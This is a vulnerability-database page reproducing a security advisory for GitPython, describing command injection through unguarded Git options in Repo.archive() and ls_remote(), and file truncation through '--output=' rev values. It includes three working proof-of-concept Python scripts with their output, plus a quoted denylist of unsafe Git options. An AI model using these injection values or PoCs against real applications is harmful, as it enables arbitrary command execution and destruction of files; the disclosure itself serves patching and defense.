Vulnerability Database

362,746

Total vulnerabilities in the database

GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()` — GitPython

Improper Neutralization of Special Elements used in a Command ('Command Injection')

Summary

GitPython spawns the real git binary with an argument vector built from caller-supplied values. To prevent argument injection, GitPython maintains denylists of "unsafe" Git options (--upload-pack, --receive-pack, --exec, -c, --config, …) that can be abused to run arbitrary commands, and enforces them with Git.check_unsafe_options().

That enforcement is only wired into the network commands — clone_from, Remote.fetch, Remote.pull, Remote.push. Several other public APIs that also forward caller-controlled values into the git argv have no guard at all:

  1. Repo.archive(ostream, treeish=None, prefix=None, **kwargs) forwards **kwargs verbatim into git archive. An attacker-influenced options mapping such as {"remote": ".", "exec": "<cmd>"} becomes git archive --remote=. --exec=<cmd> -- <treeish>, and git archive --remote=<local repo> invokes git-upload-archive whose path is overridden by --execarbitrary command execution under default Git configuration (no protocol.ext.allow needed).

  2. repo.git.ls_remote(<url>, upload_pack="<cmd>") (and the dynamic-command builder generally) turns the upload_pack kwarg into --upload-pack=<cmd> with no guard → arbitrary command execution.

  3. Repo.iter_commits(rev) and Repo.blame(rev, file) place the caller's rev value into the argv before the -- end-of-options separator and apply no leading-dash check. A benign-looking ref value such as --output=/path/to/file is parsed by git rev-list / git blame as the --output option, which opens and truncates an arbitrary file before Git even validates the revision → arbitrary file clobber (integrity/availability; can destroy keys, configs, lockfiles, or be aimed at files the host later sources).

The first two are direct code execution; the third is an arbitrary file-overwrite primitive. All share one root cause: the check_unsafe_options / end-of-options discipline that GitPython applies to clone/fetch/pull/push was never extended to these sinks.

Details

GitPython explicitly recognises these options as command-execution vectors. git/remote.py:535:

unsafe_git_fetch_options = [ # Arbitrary command execution. "--upload-pack", "--receive-pack", # Arbitrary file overwrite. "--exec", ]

and enforces them via Git.check_unsafe_options() (git/cmd.py:963):

def check_unsafe_options(cls, options, unsafe_options): ... if unsafe_option is not None: raise UnsafeOptionError(f"{unsafe_option} is not allowed, use `allow_unsafe_options=True` to allow it.")

But check_unsafe_options is invoked from only five sites, all network commands:

git/remote.py:1071 Remote.fetch git/remote.py:1125 Remote.pull git/remote.py:1198 Remote.push git/repo/base.py:1410 / :1412 Repo.clone_from

The following sinks call git with caller-controlled options/positionals and are not guarded:

1. Repo.archive — command execution (git/repo/base.py:1623)

def archive(self, ostream, treeish=None, prefix=None, **kwargs): ... self.git.archive("--", treeish, *path, **kwargs) return self

treeish and path are correctly placed after --, but **kwargs are converted by Git.transform_kwarg (git/cmd.py:1487) into --<name>=<value> flags and inserted before the -- by _call_process, with no check_unsafe_options. Repo.archive already documents user-facing kwargs (format, prefix, path), so forwarding a caller options mapping is an expected usage. Final argv:

git archive --remote=. --exec=<cmd> -- <treeish>

git archive --remote=<repo> runs the upload-archive helper; --exec=<cmd> overrides the helper path, executing <cmd> on the host. This works with default Git config — it does not rely on the ext:: transport (which is blocked by default).

2. repo.git.ls_remote(..., upload_pack=...) — command execution (dynamic builder, git/cmd.py:1487)

transform_kwarg dashifies upload_pack--upload-pack=<value>. git ls-remote <local-repo> --upload-pack=<cmd> executes <cmd>. The dynamic builder makes both the flag name and value caller-controlled (repo.git.<anything>(**user_dict)), and ls_remote has no check_unsafe_options.

This is exactly the underscore-kwarg-vs-hyphen-kwarg gap that CVE-2026-42215 fixed for fetch/pull/push/clone_from — but ls_remote and the rest of the dynamic surface were left unpatched.

3. Repo.iter_commits / Repo.blame — arbitrary file overwrite (git/objects/commit.py:348, git/repo/base.py:1199)

# Commit.iter_items (reached via Repo.iter_commits) proc = repo.git.rev_list(rev, args_list, as_process=True, **kwargs) # args_list == ["--", *paths] # Repo.blame data = self.git.blame(rev, *rev_opts, "--", file, p=True, stdout_as_string=False, **kwargs)

rev is placed before --, with no leading-dash check anywhere in the path. A caller passing rev="--output=/path" (a value that looks like an ordinary ref/branch/tag string an app forwards from user input) produces:

git rev-list --output=/path --

git rev-list/log/blame honour --output=<file>, which open()s and truncates the file before validating the revision — so the file is destroyed even though Git then errors out on the bad revision.

PoC

All three PoCs are self-contained, run against the released GitPython 3.1.50 under default Git configuration, and were executed live (git 2.51.0). Each prints a host-side marker proving the effect.

Install

python3 -m venv venv && . venv/bin/activate pip install GitPython # resolves to 3.1.50 python -c "import git; print(git.__version__)" # 3.1.50

PoC 1 — command execution via Repo.archive

# archive_rce.py import io, os, tempfile, subprocess, git d = tempfile.mkdtemp() subprocess.run(['git','init','-q',d], check=True) subprocess.run(['git','-C',d,'-c','[email protected]','-c','user.name=a', 'commit','-q','--allow-empty','-m','init'], check=True) repo = git.Repo(d) marker = os.path.join(tempfile.gettempdir(), 'gp_rce_marker') if os.path.exists(marker): os.remove(marker) # a service lets a user export a repo and forwards their options dict opts = {'remote': '.', 'exec': 'touch ' + marker} try: repo.archive(io.BytesIO(), **opts) except git.exc.GitCommandError as e: print('[*] git exited non-zero (expected), but the exec already ran:', str(e).splitlines()[0][:60]) print('[+] marker present:', os.path.exists(marker))

Verbatim output:

[*] git exited non-zero (expected), but the exec already ran: Cmd('git') failed due to: exit code(128) [+] marker present: True

git config --get protocol.ext.allow returns nothing (unset = default), confirming no special config is required.

PoC 2 — command execution via git.ls_remote(upload_pack=...)

# lsremote_rce.py import os, tempfile, subprocess, git d = tempfile.mkdtemp() subprocess.run(['git','init','-q',d], check=True) subprocess.run(['git','-C',d,'-c','[email protected]','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True) repo = git.Repo(d) marker = os.path.join(tempfile.gettempdir(),'gp_lsr_marker') if os.path.exists(marker): os.remove(marker) try: repo.git.ls_remote('.', upload_pack='touch '+marker+';') except git.exc.GitCommandError as e: print('[*] git err:', str(e).splitlines()[0][:50]) print('[+] ls-remote marker present:', os.path.exists(marker))

Verbatim output:

[*] git err: Cmd('git') failed due to: exit code(128) [+] ls-remote marker present: True

PoC 3 — arbitrary file overwrite via a benign-looking rev

# itercommits_filewrite.py import os, tempfile, subprocess, git d = tempfile.mkdtemp() subprocess.run(['git','init','-q',d], check=True) subprocess.run(['git','-C',d,'-c','[email protected]','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True) repo = git.Repo(d) victim = os.path.join(tempfile.gettempdir(),'gp_fw_victim') open(victim,'w').write('do not delete\n') print('[*] before:', repr(open(victim).read())) user_ref = '--output=' + victim # value an app forwards as a "ref/branch" try: list(repo.iter_commits(user_ref)) except git.exc.GitCommandError as e: print('[*] git err (after open+truncate):', str(e).splitlines()[0][:50]) print('[+] after :', repr(open(victim).read()), '<- truncated')

Verbatim output:

[*] before: 'do not delete\n' [*] git err (after open+truncate): Cmd('git') failed due to: exit code(129) [+] after : '' <- truncated
  • Published: Jul 21, 2026
  • Updated: Jul 22, 2026
  • GHSA: GHSA-956x-8gvw-wg5v
  • Severity: High
  • Exploit:
  • CISA KEV:

CVSS v3:

  • Severity: High
  • Score: 8.4
  • AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.